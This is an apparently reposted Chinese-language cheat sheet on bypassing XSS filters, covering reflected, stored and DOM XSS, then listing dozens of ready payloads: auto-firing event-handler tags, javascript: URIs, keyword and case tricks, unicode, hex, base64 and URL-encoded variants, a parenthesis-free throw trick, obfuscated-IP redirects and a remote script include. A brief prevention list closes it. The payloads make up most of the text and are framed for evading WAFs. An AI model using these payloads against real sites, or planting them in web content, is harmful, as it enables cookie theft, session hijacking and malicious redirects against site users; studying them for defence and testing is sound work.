XSS過濾繞過總結


簡述

XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意制造的網頁程序。這些惡意網頁程序通常是JavaScript,但實際上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到更高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。

常用的XSS攻擊手段和目的

1.盜用cookie,獲取敏感信息。
2.利用植入Flash,通過crossdomain權限設置進一步獲取更高權限;或者利用Java等得到類似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊)用戶的身份執行一些管理動作,或執行一些一般的操作如發微博、加好友、發私信等操作。
4.利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。
5.在訪問量極大的一些頁面上的XSS可以攻擊一些小型網站,實現DDOS攻擊的效果。

分類

反射型

反射型跨站腳本(Reflected Cross-Site Scripting)是最常見,也是使用最廣的一種,可將惡意腳本附加到 URL 地址的參數中。
反射型 XSS 的利用一般是攻擊者通過特定手法(如電子郵件),誘使用戶去訪問一個包含惡意代碼的 URL,當受害者點擊這些專門設計的鏈接的時候,惡意代碼會直接在受害者主機上的瀏覽器執行。此類 XSS 通常出現在網站的搜索欄、用戶登錄口等地方,常用來竊取客戶端 Cookies 或進行釣魚欺騙。

存儲型

持久型跨站腳本(Persistent Cross-Site Scripting)也等同於存儲型跨站腳本(Stored Cross-Site Scripting)。
此類 XSS 不需要用戶單擊特定 URL 就能執行跨站腳本,攻擊者事先將惡意代碼上傳或儲存到漏洞服務器中,只要受害者瀏覽包含此惡意代碼的頁面就會執行惡意代碼。持久型 XSS 一般出現在網站留言、評論、博客日志等交互處,惡意腳本存儲到客戶端或者服務端的數據庫中。

DOM型

傳統的 XSS 漏洞一般出現在服務器端代碼中,而 DOM-Based XSS 是基於 DOM 文檔對象模型的一種漏洞,所以,受客戶端瀏覽器的腳本代碼所影響。客戶端 JavaScript 可以訪問瀏覽器的 DOM 文本對象模型,因此能夠決定用於加載當前頁面的 URL。換句話說,客戶端的腳本程序可以通過 DOM 動態地檢查和修改頁面內容,它不依賴於服務器端的數據,而從客戶端獲得 DOM 中的數據(如從 URL 中提取數據)並在本地執行。另一方面,瀏覽器用戶可以操縱 DOM 中的一些對象,例如 URL、location 等。用戶在客戶端輸入的數據如果包含了惡意 JavaScript 腳本,而這些腳本沒有經過適當的過濾和消毒,那么應用程序就可能受到基於 DOM 的 XSS 攻擊。

無任何過濾情況下

一些常見標簽

PS:下面我列舉的標簽大部分是可以自動觸發js代碼的,無需用戶去交互,大部分情況下我們也是希望是自動觸發而不是等用戶去觸發,還有我測試的瀏覽器是火狐,Chrome,IE11.0,其它的瀏覽器沒有去測試,有興趣的師傅可以測試一下 =。=

<scirpt>

<scirpt>alert("xss");</script>

<img>

<img src=1 onerror=alert("xss");>

<input>

<input onfocus="alert('xss');">
競爭焦點,從而觸發onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需用戶去觸發
<input onfocus="alert('xss');" autofocus>

<details>

<details ontoggle="alert('xss');">
使用open屬性觸發ontoggle事件,無需用戶去觸發
<details open ontoggle="alert('xss');">

<svg>

<svg onload=alert("xss");>

<select>

<select onfocus=alert(1)></select>
通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需用戶去觸發
<select onfocus=alert(1) autofocus>

<iframe>

<iframe onload=alert("xss");></iframe>

<video>

<video><source onerror="alert(1)">

<audio>

<audio src=x  onerror=alert("xss");>

<body>

<body/onload=alert("xss");>

利用換行符以及autofocus,自動去觸發onscroll事件,無需用戶去觸發

<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea>

<textarea onfocus=alert("xss"); autofocus>

<keygen>

<keygen autofocus onfocus=alert(1)> //僅限火狐

<marquee>

<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以

<isindex>

<isindex type=image src=1 onerror=alert("xss")>//僅限於IE

利用link遠程包含js文件

PS:在無CSP的情況下才可以

<link rel=import href="http://127.0.0.1/1.js">

javascript偽協議

<a>標簽

<a href="javascript:alert(`xss`);">xss</a>

<iframe>標簽

<iframe src=javascript:alert('xss');></iframe>

<img>標簽

<img src=javascript:alert('xss')>//IE7以下

<form>標簽

<form action="Javascript:alert(1)"><input type=submit>

其它

expression屬性

<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下

background屬性

<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

有過濾的情況下

過濾空格

/代替空格

<img/src="x"/onerror=alert("xss");> 

過濾關鍵字

大小寫繞過

<ImG sRc=x onerRor=alert("xss");> 

雙寫關鍵字

有些waf可能會只替換一次且是替換為空,這種情況下我們可以考慮雙寫關鍵字繞過

<imimgg srsrcc=x onerror=alert("xss");> 

字符拼接

利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> 

利用top

<script>top["al"+"ert"](`xss`);</script>

其它字符混淆

有的waf可能是用正則表達式去檢測是否有xss攻擊,如果我們能fuzz出正則的規則,則我們就可以使用其它字符去混淆我們注入的代碼了
下面舉幾個簡單的例子

可利用注釋、標簽的優先級等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因為title標簽的優先級比img的高,所以會先閉合title,從而導致前面的img標簽無效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

編碼繞過

Unicode編碼繞過

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 

url編碼繞過

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> 
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii碼繞過

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> 

hex繞過

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八進制

<img src=x onerror=alert('\170\163\163')>

base64繞過

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

過濾雙引號,單引號

1.如果是html標簽中,我們可以不用引號。如果是在js中,我們可以用反引號代替單雙引號

<img src="x" onerror=alert(`xss`);>

2.使用編碼繞過,具體看上面我列舉的例子,我就不多贅述了

過濾括號

當括號被過濾的時候可以使用throw來繞過

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

過濾url地址

使用url編碼

<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

使用IP

1.十進制IP

<img src="x" onerror=document.location=`http://2130706433/`>

2.八進制IP

<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex

<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html標簽中用//可以代替http://

<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用\\

但是要注意在windows下\本身就有特殊用途,是一個path 的寫法,所以\\在Windows下是file協議,在linux下才會是當前域的協議

Windows下

Linux下

6.使用中文逗號代替英文逗號
如果你在你在域名中輸入中文句號瀏覽器會自動轉化成英文的逗號

<img src="x" onerror="document.location=`http://www。baidu。com`">//會自動跳轉到百度

如何防止xss

  • 過濾一些危險字符,以及轉義& < > " ' /等危險字符
  • HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此Cookie。
  • 設置CSP(Content Security Policy)
  • 輸入內容長度限制

后記

感覺總結的不是很全面,以后會查漏補缺,如果有師傅發現錯誤之處,還望斧正

Reference

https://html5sec.org/
很全的xss總結
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

 

原文地址:https://xz.aliyun.com/t/4067


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM